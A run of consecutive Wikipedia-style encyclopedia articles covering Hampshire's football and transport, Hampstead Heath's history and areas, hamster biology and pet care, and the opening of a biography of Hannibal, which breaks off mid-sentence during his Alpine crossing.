          Hampshire has several association football teams, including Premier League side Portsmouth F.C. and Championship side Southampton F.C., which have traditionally been fierce rivals. Portsmouth won the FA Cup in 1939 and 2008 and Football League title on several occasions during the 1930s, 1940s and 1950s, but have spent much of the last 50 years outside the top division and at one stage spent two seasons in the Fourth Division (the lowest division in senior football). Southampton, meanwhile, have only won one major trophy to date (the FA Cup in 1976), even though they spent 27 unbroken years in the top division (1978- 2005).


          Aldershot F.C. became members of the Football League in 1932 but never progressed beyond the Third Division and on 25 March 1992 were declared bankrupt and forced to resign from the league. A new football club, Aldershot Town, was formed almost immediately, and who were promoted from the Blue Square Premier Division (highest division outside the Football League) into Football League Two of the Football League in April 2008.


          Thruxton Circuit is Hampshire's premier motor racing course with the National Motor Museum being located in the New Forest adjacent to Beaulieu Palace House. The Farnborough Airshow is a popular international event, held biennially.


          


          Transport


          Southampton Airport, with an accompanying main line railway station, is an international airport situated in the Borough of Eastleigh, close to Swaythling in the city of Southampton. Cross-channel and cross- Solent ferries link the county to the Isle of Wight and European continent. The South Western Main Line railway from London to Weymouth runs through Winchester and Southampton, and the Wessex Main Line from Bristol to Portsmouth also runs through the county.


          The M3 motorway connects the county to London. The construction of the Twyford Down cutting near Winchester caused major controversy by cutting through a series of ancient trackways (the Dongas) and other features of archaeological significance. The M27 motorway serves a bypass for the major conurbations and as a link to other settlements on the south coast. Other important roads include the A3, A31 and A36.The roads in the county are known for their heavy traffic, especially around Southampton and Portsmouth and the M27 and A27.


          The county has a high level of car ownership, with only 15.7% having no access to a private car compared with 26.8% for England and Wales. The county has a lower than average use of trains (3.2% compared with 4.1% for commuting) and buses (3.2% to 7.4%) but a higher than average use of bicycles (3.5% to 2.7%) and cars (63.5% to 55.3%).
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          Hampstead Heath (locally known as "the Heath") is London's largest ancient parkland, covering 3.2 km (320 ha; 791 acres). This grassy public space sits astride a sandy ridge, running from Hampstead to Highgate, which rests on a band of London clay. The Heath is rambling and hilly, embracing ponds, ancient woodland, a lido, playgrounds, training track and in addition it adjoins stately home and grounds of Kenwood House. In the south of Hampstead Heath lies Parliament Hill, the park's focal point and one of the highest points in London: the commanding view from its summit is protected by law.


          The Heath has long been a popular place for Londoners to walk and take the air. Running along its eastern perimeter lies a chain of ponds - including three open-air public swimming pools - which were originally reservoirs for drinking water formed from the River Fleet; and the northern Kenwood area is a location of a Site of Special Scientific Interest, the smallest such site in London. Until February 2007, Kenwood House in the north of the park held lakeside concerts. The Heath is managed by the City of London Corporation, and lies mostly in the London Borough of Camden, with a small area in the London Borough of Barnet.


          



          


          History
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          The Heath enters the history books in 986 when Ethelred the Unready granted one of his servants five hides of land at "Hemstede". This same land is later recorded in the Domesday Book as held by the monastery of St. Peters at Westminster Abbey in 1086 and by then is known as the "Manor of Hampstead". Westminster held the land until 1133 when control of part of the manor was released to one Richard de Balta; then, during Henry II's reign the whole of the manor was given over to the private hands of an Alexander de Barentyn, the king's butler. Manorial rights to the land remained in private hands until the 1940s when they lapsed under Sir Spencer Pocklington Maryon Wilson, though the estate itself was passed on to Shane Gough, 5th Viscount Gough.


          Over time, plots of land in the manor were sold off for building, particularly in the early 19th century, though the Heath remained mainly common land. The main part of the Heath was acquired for the people by the M.B.W., with Parliament Hill added in 1888 after it was purchased for the public for 300,000, Golders Hill in 1898 and Kenwood House with its grounds in 1928.


          From 1808 to 1814 Hampstead Heath hosted a station in the shutter telegraph chain which connected the Admiralty in London to its naval ships in the port of Great Yarmouth.


          The Heath has been managed by the City of London Corporation since 1989, having been previously managed by the GLC and then Camden Council.


          


          Geography


          The Heath sits astride a sandy ridge resting on a band of London Clay running from east to west. As the sand was easily penetrated by rainwater which was then held by the clay, a landscape of swampy hollows, springs and man-made excavations was created.


          Most of the Heath (approx 85%) lies in the borough of Camden, with the rest, the Extension, lying in Barnet.


          Public transport near the Heath include London Overground stations at Gospel Oak to the south, Hampstead Heath and London Underground stations at Hampstead and Belsize Park to the west, Golders Green to the north, and Highgate and Archway to the east. Bus routes serve many of the roads around the Heath.


          The wildlife includes kingfishers, jackdaws and ring-necked parakeets. Pipistrelles and Daubenton's bats may be seen over the ponds.


          


          Areas of the Heath


          The Heath covers 800acres ({{ Convert}} no longer accepts sqkm as code. Please use km2 instead. Please refer to {{convert}}'s talk page for the reasoning behind this. Sorry for any inconvenience.) and has a number of distinct areas. "Boudicca's Mound", near the present men's bathing pond, is a tumulus where, according to local legend, Queen Boudicca (Boadicea) was buried after she and 10,000 other British soldiers were defeated at Battle Bridge. However, earlier drawings and paintings of the area show no mound other than a 17th Century windmill.


          In the south of the Heath, and on the southern slopes of Parliament Hill, is the Gospel Oak Lido open air swimming pool, with a running track and fitness area to its north.


          


          Highgate and Hampstead Ponds
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          There are over 25 ponds on Hampstead Heath, mostly collected into two distinct areas. On the east (Highgate) side is a series of eight former reservoirs originally dug in the 17th and 18th centuries. These include two single-sex (the men's and ladies' bathing ponds) swimming pools, a model boating pond, a wildlife reserve pond and a fishing lake.


          On the other side of the Heath, towards South End Green in the south-west, are three further ponds, one of which is the 'mixed pond', where members of both sexes may swim. These ponds are the result of the damming in 1777 of Hampstead brook, one of the sources for the Fleet River, by the Hampstead Water Company who had been formed in 1692 to meet London's growing water demand.


          In 2004, the City of London Corporation, which operates the Heath, tried to close the ponds on the grounds that they were an unsustainable drain on their expenses and posed a health risk to swimmers. The swimmers challenged this and won a victory in the High Court. To defray costs, the Corporation introduced a charge for swimmers of 2 per session, 1 for concessions. There was some opposition to this and some of the ticket machines were vandalized.


          


          Parliament Hill Fields


          Parliament Hill Fields lies in the south and east of the Heath; it became an official part of the Heath in 1888. It contains various sporting facilities including an athletics track and tennis courts. Parliament Hill itself is considered to be the focal point of the Heath, with the highest part of it known as "Kite Hill" due to its popularity with kite flyers. The hill is around 321feet (98m) high and is notable for the excellent views it provides of the London skyline. It is possible to see the skyscrapers of Canary Wharf and the City of London, along with St Paul's Cathedral and other landmarks, all together in one view, some of which are protected views. The main staff yards for the management of the Heath are located at Parliament Hill Fields.


          


          Kenwood
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          The area to the north of the Heath is the Kenwood estate and House - a total area of 0.5 km (50 ha; 112 acres) which is maintained by English Heritage. This was joined to the Heath when it was donated to the nation by Lord Iveagh, on his death in 1927, and opened to the public in 1928. One third of the estate is a Site of Special Scientific Interest, particularly the ancient woodlands, designated by English Nature. These are home to many birds and insects and the largest Pipistrelle bat roost in London.


          The original house dates from the early 17th century. The orangery was added in about 1700.


          The popular summer lakeside concerts, which started in 1951, ceased in February 2007 after protests from local residents. However, the return of the concerts was announced in March 2008 after English Heritage agreed a number of changes with Camden Council, notably with regards to noise levels.


          


          The Vale of Health


          The Vale of Health is a small hamlet (named "Hatchett's Bottom" until 1801): accessed via a small lane off East Heath Road, it is surrounded entirely by the Heath. It is now one of the most expensive residential areas in the world.


          


          Extension


          The Extension is an area which lies to the north-west. It does not share the history of common and heathland of the rest of the Heath. Instead it was created out of farmland, largely due to the efforts of Henrietta Barnett who went on to found Hampstead Garden Suburb. Its farmland origins can still be seen in the form of old field boundaries, hedgerows and trees.


          


          Golders Hill Park


          Golders Hill Park is a formal park adjoining the West Heath part of the Heath and is on the site formerly occupied by a large house which was bombed during World War II. Its main characteristic is an expanse of grass, but it also has a formal flower garden with a duck pond and a separate water garden, which leads onto a separate area for deer, near to a recently-renovated small zoo. The zoo has alpacas, maras, red-legged seriemas and white-naped cranes. There are also tennis courts and a putting green.


          Unlike the rest of the Heath, Golders Hill Park is closed at night.


          


          Hampstead Heath Constabulary


          The "Hampstead Heath Constabulary" is a group of 12 wardens with trained dogs who have been responsible for patrolling the park 24 hours a day since 1992.


          They are attested under Article 18 of the Ministry of Housing and Local Government Provisional Order Confirmation (Greater London Parks and Open Spaces) Act 1967 and Sec. 29 and Schedule 4 of the Police Act 1996. This authorises them to enforce the Hampstead Heath bylaws, but they do not have police powers. Any significant incidents or crimes on the Heath are the responsibility of the Metropolitan Police, the regional police force for London.


          


          Activities


          The Heath is home to a range of activities, including 16 different sports. It is used by walkers, runners, swimmers and kite-flyers, and is regarded as the home of cross-country running in Britain. There is an annual 5k run through the Heath organised by Umbrella, and until February 2007 Kenwood held a series of popular lakeside concerts.


          The West Heath is one of the most notable and safest night-time cruising grounds in London. George Michael has revealed that he cruises on the Heath; an activity he then parodied on the Extras Christmas Special.


          Swimming takes place all year round on two of the three natural swimming ponds: the men's pond which opened in the 1890s, and the ladies pond which opened in 1925. The mixed pond is only open from May to September, though is the oldest, having been in use since the 1860s.


          Facilities include an athletics track, a ptanque pitch, a volleyball court and eight separate children's play areas including an adventure playground.


          


          Culture


          The feature film, Scenes of a Sexual Nature (2006), directed by Ed Blum, was shot entirely on Hampstead Heath. Notting Hill (film) (1999) featured scenes shot at the heath, located primarily around Kenwood House.


          Hampstead Heath was featured on the television programme Seven Natural Wonders as one of the wonders of the London area, with a focus on Parliament Hill to the south. The episode was presented by Bill Oddie, who lives in nearby Gospel Oak, and watches birds there regularly.


          In 2005, Giancarlo Neri's sculpture The Writer, a 9-metre tall table and chair, was exhibited on Hampstead Heath.


          Whilst living in London Karl Marx and his family would take regular Sunday picnics on the Heath.


          John Atkinson Grimshaw, Victorian era painter, painted an elaborate night-time scene of Hampstead Hill in oils. Hampstead Heath also provided the backdrop for the opening scene in Victorian writer Wilkie Collins' novel The Woman in White.


          A post-apocalyptic Hampstead Heath is the site of the village of Ham in Will Self's The Book of Dave.
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          Hamsters are rodents belonging to the subfamily Cricetinae. The subfamily contains about 18 species, classified in six or seven genera. Hamsters come in lots of different colours and shapes. Because they are easy to breed in captivity, hamsters are often used as lab animals and kept as pets in more economically developed countries. Over recent years they are very commonly used as pets for the common family.


          Hamsters are crepuscular. In the wild, they burrow underground in the daylight to avoid being caught by predators. They are most active around dusk and dawn, which has led many people to mistake them for being nocturnal. In the wild they will eat any wheat, nuts and small bits of fruit and vegetables that they might find lying around on the ground, occasionally eating small insects such as small crickets or mealworms. Hamsters got their name from the German word "Hamstern" which means to hoard. They have elogated fur lined pouches on both sides of their heads which extends to their shoulders, which they stuff full of food to be brought back to the colony or eaten later.


          Their diet contains a variety of foods both in the wild and when kept as a pets including dried food, berries and nuts, hard boiled or scrambled eggs, chicken and turkey. Fresh fruits and vegetables are also an integral part of their diet. Behaviour really depends on their environment, genetics, and interaction with people.


          


          Characteristics


          Hamsters are stout-bodied, with tails much shorter than body length and have small furry ears, short stocky legs, and wide feet. Their thick fur--which can be long or short--can be black, grey, white, brown, buff, yellow, "sapphire" and red depending on the species, or a mix of any of those colours; underparts are white to shades of gray and black. The Djhungarian hamster ( Phodopus campbelli) and the striped dwarf hamster ( Cricetulus barabensis) have a dark stripe down the middle of the back. Dwarf desert hamsters (genus Phodopus) are smallest, with bodies 5 to 10 cm (about 2 to 4 inches) long; the largest is the Common hamster ( Cricetus cricetus), measuring up to 34 cm long, not including a short tail of up to 6 cm. Usually it's not that long, and on a long haired hamster it's barely visible.


          


          Habitat


          Hamsters' northern range extends from central Europe through Siberia, Mongolia, and northern China to Korea. The southern portion of their range stretches from Syria to India. Throughout dry, open country they inhabit desert borders, vegetated sand dunes, shrubby and rocky foothills and plateaus, river valleys, and mountain steppes; some live among cultivated crops. Geographic distribution varies greatly between species. The common hamster, for example, is found from central Europe to western Siberia and northwestern China, but the golden hamster has been found only near a small town in northwestern Syria.


          


          Diet


          Hamsters are omnivorous. Their diet consists mostly of grains (such as corn) but also includes fresh fruit, roots such as carrots, green parts of plants, invertebrates, and other small animals. Hamsters carry food in their spacious cheek pouches to cache in the burrow. Hamsters in the Middle East have been known to hunt in packs to find insects for food.


          Pet stores sell a large variety of treats that are suitable for hamsters. It is important not to give the hamster too many of these, especially ones that are high in fat or sugar, because they could lead to a hamster getting fat. Healthy alternatives include acorns and yogurt.


          Most people can feed their hamster a lot of things from everyday food in their kitchen. Although the previously mentioned items are safe for hamsters to eat, not every hamster will enjoy the taste of all of those foods. It is also important to thoroughly wash fruits, vegetables and greens before feeding, as they can have traces of pesticides. Some foods to avoid giving hamsters are kidney beans, onion, garlic, large amounts of citrus fruit, and potato sprouts.Some hamsters also shouldn't eat iceberg lettuce.


          


          Behaviour


          Syrian hamsters are generally solitary; whereas, Dwarf hamsters can get along with others of the same species. They are primarily considered crepuscular and at one point were considered nocturnal as they are sometimes active all night. They are excellent diggers, constructing burrows with one or more entrances and with galleries that are connected to chambers for nesting, food storage, and other activities. They also like appropriate tunnels made by other mammals; the striped hairy-footed hamster (Phodopus sungorus), for instance, uses paths and burrows of the pika. None hibernate during winter, but some (mostly Syrian hamsters) experience periods of torpor lasting from a few days to several weeks. This probably means that conditions are too cold for them. Hamsters are known to stockpile large amounts of food. Hamsters dislike swimming but if forced to will inflate their cheek pouches with air to help them float.


          


          Reproduction


          Hamsters become fertile at different ages dependent on their species, but this can be from one month to three months of age. Male hamsters remain fertile for the rest of their lives, though females do not. Females are in heat approximately every four days.


          Breeding season is from April to October, with two to five litters of 1 to 13 young being born after a gestation period of 16 to 22 days. Gestation lasts 16 to 18 days for Syrian hamsters, 18 to 21 days for the Russian hamsters, 21 to 23 days for Chinese hamsters and 23 to 30 for Roborovski Hamsters. The average litter for Syrians is about 7, but can be as great as 24, which is the maximum number of pups that can be contained in the uterus. Campbell's Dwarf Hamsters tend to have 4 to 8 in a litter but can have up to 14. Winter White Russian Dwarf Hamsters tend to have slightly smaller litters, as do Chinese and Roborovski hamsters.


          Hamsters are born hairless and blind in a nest which the mother will have prepared in advance. She uses shredded material such as leaves in the wild but prefers cotton or toilet paper in captivity. After one week they begin to explore outside the nest. They are completely weaned after three weeks, or four for Roborovski Hamsters. Most breeders will sell the hamsters to shops when the hamsters are anywhere from two to eight months old.


          


          Classification


          Taxonomists currently disagree about the most appropriate placement of the subfamily Cricetinae within the superfamily Muroidea. Some place it in a family Cricetidae that also includes voles, lemmings, and New World rats and mice; others group all these into a large family called Muridae. Their evolutionary history is recorded by 15 extinct fossil genera and extends back 11.2 million to 16.4 million years to the Middle Miocene Epoch in Europe and North Africa; in Asia it extends 6 million to 11 million years. Four of the seven living genera include extinct species. One extinct hamster of Cricetus, for example, lived in North Africa during the Middle Miocene, but the only extant member of that genus is the common hamster of Eurasia.


          
            	Subfamily Cricetinae

              
                	Genus Allocricetulus

                  
                    	Species A. curtatus - Mongolian Hamster


                    	Species A. eversmanni - Kazakh Hamster, also called Eversmann's Hamster

                  

                


                	Genus Cansumys

                  
                    	Species C. canus - Gansu Hamster

                  

                


                	Genus Cricetulus

                  
                    	Species C. alticola - Ladak Hamster


                    	Species C. barabensis, including "C. pseudogriseus" and "C. obscurus" - Chinese Striped Hamster, also called Chinese Hamster; Striped Dwarf Hamster


                    	Species C. griseus - Chinese Hamster


                    	Species C. kamensis - Tibetan Hamster


                    	Species C. longicaudatus - Long-tailed Hamster


                    	Species C. migratorius - Armenian Hamster, also called Migratory Grey Hamster; Grey Hamster; Grey Dwarf Hamster; Migratory Hamster


                    	Species C. sokolovi - Sokolov's Hamster

                  

                


                	Genus Cricetus

                  
                    	Species C. cricetus - European Hamster, also called Common Hamster or Black-Bellied Field Hamster

                  

                


                	Genus Mesocricetus - Golden Hamsters

                  
                    	Species M. auratus - Syrian Hamster, also called the Golden hamster or Teddy Bear hamster)


                    	Species M. brandti - Turkish hamster, also called Brandt's Hamster; Azerbaijani Hamster


                    	Species M. newtoni - Romanian Hamster


                    	Species M. raddei - Ciscaucasian Hamster

                  

                


                	Genus Phodopus - Dwarf Hamsters

                  
                    	Species P. campbelli - Campbell's Russian Dwarf Hamster


                    	Species P. roborovskii - Roborovski Hamster, sometimes known as the Mongolian Hamster, causing confusion with Allocricetulus curtatus


                    	Species P. sungorus - Winter White Russian Dwarf Hamster

                  

                


                	Genus Tscherskia

                  
                    	Species T. triton - Greater Long-tailed Hamster, also called Korean Hamster
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          The best-known species of hamster is the Syrian or Golden Hamster (Mesocricetus auratus), which is the type of hamster most commonly kept as a pet. It is also sometimes called a "fancy" hamster. Pet stores also have taken to calling them "honey bears," "panda bears," "black bears," "European black bears," "polar bears," "teddy bears," and "Dalmatian", depending on their coloration. There are also several variations, including long-haired varieties that grow hair several centimeters long and often require special care.


          Other hamsters that are kept as pets are the four species of " dwarf hamster". Campbell's Dwarf Hamster ( Phodopus campbelli) is the most common of the four  they are also sometimes called "Russian Dwarfs"; however, many hamsters are from Russia, and so this ambiguous name does not distinguish them from other species appropriately. The coat of the Winter White Russian Dwarf Hamster (Phodopus sungorus) turns white during winter (when the hours of daylight decrease). The Roborovski Hamster (Phodopus roborovskii) is extremely small and fast. The Chinese Hamster (Cricetulus griseus), although not technically a true "dwarf hamster", is the only hamster with a prehensile tail (about 4cm long) - most hamsters have very short, non-prehensile tails.


          Many breeders also show their hamsters and so breed towards producing a good healthy show hamster with a view to keeping one or two themselves so quality and temperament are of vital importance when planning the breeding. Although breeders of show hamsters specialise in breeding show hamsters, there are also owners who have bred their pet hamsters. These may be the result of a planned or unplanned pregnancy but the hamsters have usually been cared for well and handled regularly, so make very suitable pets. Buying a hamster directly from a breeder means that there is the opportunity to see the parents and know the dates of birth.


          In Australia it is illegal to keep hamsters as pets as 'escapees' could breed in the wild and become 'feral' pest animals.


          


          Housing


          Hamsters can be kept both in cages and in vivaria, both of which are available in pet stores. Cages are easier to carry; their bars can be used for climbing. On the other hand, glass boxes keep hamsters from throwing litter out of their cages, provide a better view into the hamster's home, and create a quieter and more sheltered interior.


          Despite the hamsters small size, appropriate housing should always have a floor space of at least two square feet and a strong top because hamsters are surprisingly good climbers. Glass boxes must not be higher than their width to allow for a sufficient air circulation. Although smaller in size, dwarf hamsters often need more spacious housing than their larger relatives, at least 80cm by 40cm (2 feet by 4 feet) due to their high activity levels.


          In the case of self-built dwellings, care should be taken to avoid materials that are dangerous to the animals. Plywood and wood from conifers is not suitable, because hamsters gnaw at their houses and both glue and resin are poisonous to them. Using standard water-soluble white wood glue to join pieces of solid wood, such as birch or beech wood, creates a safe environment for the hamster, although it may still chew through the wood. A purchased cage can be equipped with several intermediate levels, connected using stairs.


          Hamsters do best in a well-lit room of constant, moderate temperature (18 to 26 C, 64 to 80 F), in a place out of strong sunlight that could cause dangerous overheating. Dwarf hamsters like it a bit cooler.


          The floor of a hamster's residence is generally covered with a layer of litter. Litter made from recycled paper or wood lacking aromatic oils (such as aspen) is healthiest - gnawing and eating cat litter can be deadly, and cedar, pine, or other softwood-based litters may contain phenols that can irritate a hamster's respiratory system, liver, and skin. There is also commercial bedding available, such as Carefresh and Megazorb.


          


          Exercise and entertainment


          Like all pets, hamsters need exercise and entertainment to maintain their physical and mental health. " Exercise wheels" allow hamsters to run full speed, and are a common fixture in pet hamsters' enclosures. Avoid using wheels with individual rungs or bars but rather select those with a solid base for comfortable running. This is because a hamster may trip and its legs may get caught on the rungs of the wheel while using it. Olive oil (which is harmless to a hamster if ingested) can be used to lubricate the axle of the exercise wheel to reduce friction and cut down on turning noises when in use. Other common objects are plastic balls or cars that the hamster can be placed in so that they can be supervised while exploring outside their cage. Lack of exercises for a hamster may cause it to suffer from paralysis, and the affected hamster will have a hunched over posture.


          Hamsters are nest builders, so most owners supply strips of tissue or toilet paper so they may build a secure spot in a corner or in their "house". Avoid using newspapers as the ink on it might be ingested when the hamster chews on them. Also avoid bleached-white toilet paper. Hay is also a valuable building material for cozy hamster nests, but may pose the risk of having pesticides on it or sharp pieces that could cut or scratch the hamster. Therefore, select dry hay such as Timothy and use the softer, leafy parts of the hay rather than the stems. Sawdust made from pine, and cedar wood shavings are not suitable for nesting material as stated earlier. It is not advisable to use lint, as the hamster may consume it and the lint will block their intestinal passage. Fine chinchilla sand (not chinchilla dust because the powdery material will cause respiratory problems) can be given in an enclosed container. Hamsters enjoy rolling in the sand to keep their fur clean and dry.


          Hamsters, like many rodents, are also gnawers, and must be supplied with appropriate materials for doing so; for example, an edible gnaw toy or an unpainted wooden block can be placed in the cage. Failure to do so can cause dental problems for the hamster, as the incisors, which grow continually, will become too long and cause discomfort and/or eating problems.


          


          Food
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          Many hamsters tend to carry food from the source (by carrying it in their cheek pouches) and hoard it away in a cache hidden somewhere inside their container. Fresh vegetables and fruits, seeds, and insects like grasshoppers make up an important part of hamsters' natural diet. However, not all foods are suitable for hamsters and some, such as sweets made for humans or poisonous plants like the leaves of the tomato or rhubarb, are dangerous for hamsters. Citrus fruits such as oranges and lemons should never be fed to a hamster because their stomachs can not handle the acid. Iceburg lettuce has very little nutritional value and in excess can cause liver problems. Campbell's Dwarf Hamsters are susceptible to hereditary diabetes, and any hamster suffering from diabetes should not have high sugar foods, such as fruit and corn. Hamsters also love to eat sunflower seeds as treats!


          In detail, the solid food components can be divided into three categories: dry, fresh, and animal food. Dry food generally makes up the bulk of a hamster's diet. Besides the standard rodent food sold in pet stores, most other kinds of seeds, kernels, and nuts can be given. Bird food like millet is a noteworthy alternative for small hamsters.


          


          Sex and longevity
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          Syrian hamsters typically live no more than two to three years in captivity, less than that in the wild. Russian Hamsters (Campbell's and Winter White) live approximately 1.5 to 2 years in captivity, and Chinese Hamsters 2.5 to 3 years. The smaller Roborovski Hamster often lives to 3 to 3.5 years in captivity. Both Syrian and Russian hamsters mature quickly and can begin reproducing at a young age (4-5 weeks), whereas Chinese hamsters will usually begin reproducing at 2-3 months of age, and Roborovskis at 3-4 months of age.
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          Left to their own devices, hamsters will produce several litters a year with several pups in each litter. Male and female hamsters are therefore usually kept in separate enclosures to prevent the addition of unwanted offspring. When seen from above, a sexually mature female hamster has a trim tail line; a male's tail line bulges on both sides. Male hamsters typically have very large testes in relation to their body size. Before sexual maturity occurs at about 4-6 weeks, it is more difficult to determine a young hamster's sex. When examined, female hamsters have two holes close together, whereas males have anal and genital openings further apart than the female's. (The penis is usually withdrawn into the coat and thus appears as a hole or pink pimple.)


          



          


          Health conditions


          


          Relationships among hamsters


          Neumann et al. (2006) conducted a molecular phylogenetic analysis of 12 of the above 17 species of hamster using DNA sequence from three genes: 12S rRNA, cytochrome b, and von Willebrand factor. They uncovered the following relationships:


          
            	Phodopus group

          


          The genus Phodopus was found to represent the earliest split among hamsters. Their analysis included both species. The results of another study (Lebedev et al., 2003) may suggest that Cricetulus kamensis (and presumably the related C. alticola) might belong to either this Phodopus group or hold a similar basal position.


          
            	Mesocricetus group

          


          The genus Mesocricetus also form a clade. Their analysis included all four species, with M. auratus and M. raddei forming one subclade and M. brandti and M. newtoni another.


          
            	Remaining genera

          


          The remaining genera of hamsters formed a third major clade. Two of the three sampled species within Cricetulus represent the earliest split. This clade contains Cricetulus barabensis (and presumably the related C. sokolovi) and Cricetulus longicaudatus.


          
            	Miscellaneous

          


          The remaining clade contains members of Allocricetulus, Tscherskia, Cricetus, and Cricetulus migratorius. Allocricetulus and Cricetus were sister taxa. Cricetulus migratorius was their next closest relative, and Tscherskia was basal.


          


          Similar animals


          Note that there are some rodents which are sometimes called "hamsters" that are not currently classified in the hamster subfamily Cricetinae. These include the Maned Hamster or Crested Hamster, which is really the Maned Rat (Lophiomys imhausi), although not nearly as marketable under that name. Others are the mouse-like hamsters (Calomyscus spp.), and the white-tailed rat (Mystromys albicaudatus).


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Hamster"
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              	Hannibal, son of Hamilcar Barca
            


            
              	247 BC  183 BC
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              A Roman marble bust of Hannibal.
            


            
              	Placeof birth

              	Carthage, Tunisia
            


            
              	Placeof death

              	Gebze, Anatolia
            


            
              	Allegiance

              	Carthaginian Empire
            


            
              	Rank

              	General, commander-in-chief of the Carthaginian armies
            


            
              	Battles/wars

              	Second Punic War: Battle of Lake Trasimene, Battle of Trebia, Battle of Cannae, Battle of Zama
            

          


          Hannibal ( Punic Hanniba'al חניבעל, Ba'al is my grace, or Ba'al has given me grace), son of Hamilcar Barca ( 247 BC  ca. 183 BC, short form "Hannibal") was a Carthaginian military commander and tactician, later also working in other professions, who is popularly credited as one of the finest commanders in history. He lived during a period of tension in the Mediterranean, when Rome (then the Roman Republic) established its supremacy over other great powers such as Carthage, and the Hellenistic Kingdoms of Macedon, Syracuse, and the Seleucid empire. He is one of the best-known Carthaginian commanders. His most famous achievement was at the outbreak of the Second Punic War, when he marched an army, which included war elephants, from Iberia over the Pyrenees and the Alps into northern Italy.


          During his invasion of Italy, he defeated the Romans in a series of battles, including those at Trebia, Trasimene and Cannae. He maintained an army in Italy for more than a decade afterward, never losing a major engagement, but could not force the Romans to accept his terms for peace. A Roman counter-invasion of North Africa forced him to return to Carthage, where he was defeated in the Battle of Zama.


          After the war he successfully ran for the office of shofet. He enacted political and financial reforms to enable the payment of the war indemnity imposed by Rome. However, his reforms were unpopular with members of the upper Roman class forcing Hannibal to go into exile. During his exile, he lived at the Seleucid court, where he acted as military advisor to Antiochus III in his war against Rome. After Antiochus III met defeat and was forced to accept their terms, Hannibal fled again, making a stop in Armenia, where he worked as a planner for the new capital. His flight ended in the court of Bithynia where he may have achieved an outstanding naval victory by means of biological warfare and was afterwards betrayed to the Romans.


          Hannibal is universally ranked as one of the greatest military commanders and tacticians in history. Military historian Theodore Ayrault Dodge once famously called Hannibal the "father of strategy", because his greatest enemy, Rome, came to adopt elements of his military tactics in its own strategic arsenal. This praise has earned him a strong reputation in the modern world and he was regarded as a "gifted strategist" by men like Napoleon Bonaparte and the Duke of Wellington. His life has been the basis for a number of films and documentaries.


          He has been attributed with the famous quotation, "We will either find a way, or make one."


          


          Background and early career


          Hannibal Barca ("grace of Baal", Baal being the patron god of Carthage, located in modern Tunisia) was the son of Hamilcar Barca and his Iberian wife. Barca was not a family name, but it was carried by his sons.


          Historians refer to the Hamilcar's family as the Barcids to avoid confusion with other Carthaginians of the same name. After Carthage's defeat in the First Punic War, Hamilcar set out to improve his family's and Carthage's fortunes. With that in mind and supported by Gades, Hamilcar began the subjugation of the tribes of the Iberian Peninsula. Carthage at the time was in such a poor state that its navy was unable to transport his army to Iberia ( Hispania); instead, Hamilcar had to march it towards the Pillars of Hercules and ferry it across the Strait of Gibraltar (present-day Morocco).


          According to Livy, Hannibal much later said that when he came upon his father and begged to go with him, Hamilcar agreed and demanded him to swear that as long as he lived he would never be a friend of Rome. Other sources report that Hannibal told his father, "I swear so soon as age will permit...I will use fire and steel to arrest the destiny of Rome."


          Hannibal's father went about the conquest of Hispania. When the father was killed in battle, Hannibal's brother-in-law Hasdrubal succeeded to his command of the army. Hasdrubal pursued a policy of consolidation of Carthage's Iberian interests, even signing a treaty with Rome whereby Carthage would not expand north of the Ebre River, so long as Rome did not expand south of it.


          Upon the assassination of Hasdrubal ( 221 BC), Hannibal was proclaimed commander-in-chief by the army and confirmed in his appointment by the Carthaginian government. Titus Livy, a Roman scholar, gives a depiction of the young Carthaginian:


          
            
              	

              	No sooner had he arrived...the old soldiers fancied they saw Hamilcar in his youth given back to them; the same bright look; the same fire in his eye, the same trick of countenance and features. Never was one and the same spirit more skillful to meet opposition, to obey, or to command...

              	
            

          


          After he assumed command, Hannibal spent two years consolidating his holdings and completing the conquest of Hispania south of the Ebro. However, Rome, fearing the growing strength of Hannibal in Iberia, made an alliance with the city of Saguntum which lay a considerable distance south of the River Ebro and claimed the city as its protectorate. Hannibal perceived this as a breach of the treaty signed with Hasdrubal and so he laid siege to the city, which fell after eight months. Rome reacted to this apparent violation of the treaty and demanded justice from Carthage. In view of Hannibal's great popularity, the Carthaginian government did not repudiate Hannibal's actions, and the war he sought was declared at the end of the year. Hannibal was now determined to carry the war into the heart of Italy by a rapid march through Hispania and southern Gaul.


          


          Second Punic War in Italy (218203 BC)


          


          Overland journey to Italy
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          The journey was planned originally by Hannibal's brother-in-law Hasdrubal.


          Hasdrubal became Carthaginian commander in Iberia in 229 BC, a post he would maintain for some eight years until 221 BC. Soon the Romans became aware of a burgeoning alliance between Carthage and the Celts of the Po river valley in northern Italy. The latter were amassing forces to invade Italy, presumably with Carthaginian backing. Thus, the Romans pre-emptively invaded the Po region in 225 BC. By 220 BC, the Romans had annexed the area as Gallia Cisalpina . Hasdrubal was assassinated around the same time (221 BC), bringing Hannibal to the fore. It seems that, having apparently dealt with the threat of a Gaulo-Carthaginian invasion of Italy (and perhaps with the original Carthaginian commander killed), the Romans lulled themselves into a false sense of security. Thus, Hannibal took the Romans by surprise a scant two years later in 218 BC by merely reviving and adapting the original Gaulo-Carthaginian invasion plan of his brother-in-law.


          Hannibal departed New Carthage in late spring of 218 BC He fought his way through the northern tribes to the Pyrenees, subduing the tribes through clever mountain tactics and stubborn fighting. He left a detachment of 11,000 troops to garrison the newly conquered region. At the Pyrenees, he released another 11,000 Iberian troops who showed reluctance to leave their homeland. Hannibal reportedly entered Gaul with 40,000 foot soldiers and 12,000 horsemen.


          Hannibal recognized that he still needed to cross the Pyrenees, the Alps, and many significant rivers. Additionally, he would have to contend with opposition from the Gauls, whose territory he passed through. Starting in the spring of 218 BC, he easily fought his way through the northern tribes to the Pyrenees and, by conciliating the Gaulish chiefs along his passage, reached the Rhne River before the Romans could take any measures to bar his advance. Arriving at the Rhne in September, Hannibal's army numbered 38,000 infantry, 8,000 cavalry, and 37 war elephants.
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              Hannibal and his men crossing the Alps.
            

          


          After outmaneuvering the natives, who had tried to prevent his crossing, Hannibal evaded a Roman force marching from the Mediterranean coast by turning inland up the valley of the Rhne. His exact route over the Alps has been the source of scholarly dispute ever since. (Polybius, the surviving ancient account closest in time to Hannibal's campaign, reports that the route was already debated.) The most influential modern theories favour either a march up the valley of the Drme and a crossing of the main range to the south of the modern highway over the Col de Montgenvre or a march farther north up the valleys of the Isere and Arc crossing the main range near the present Col de Mont Cenis.


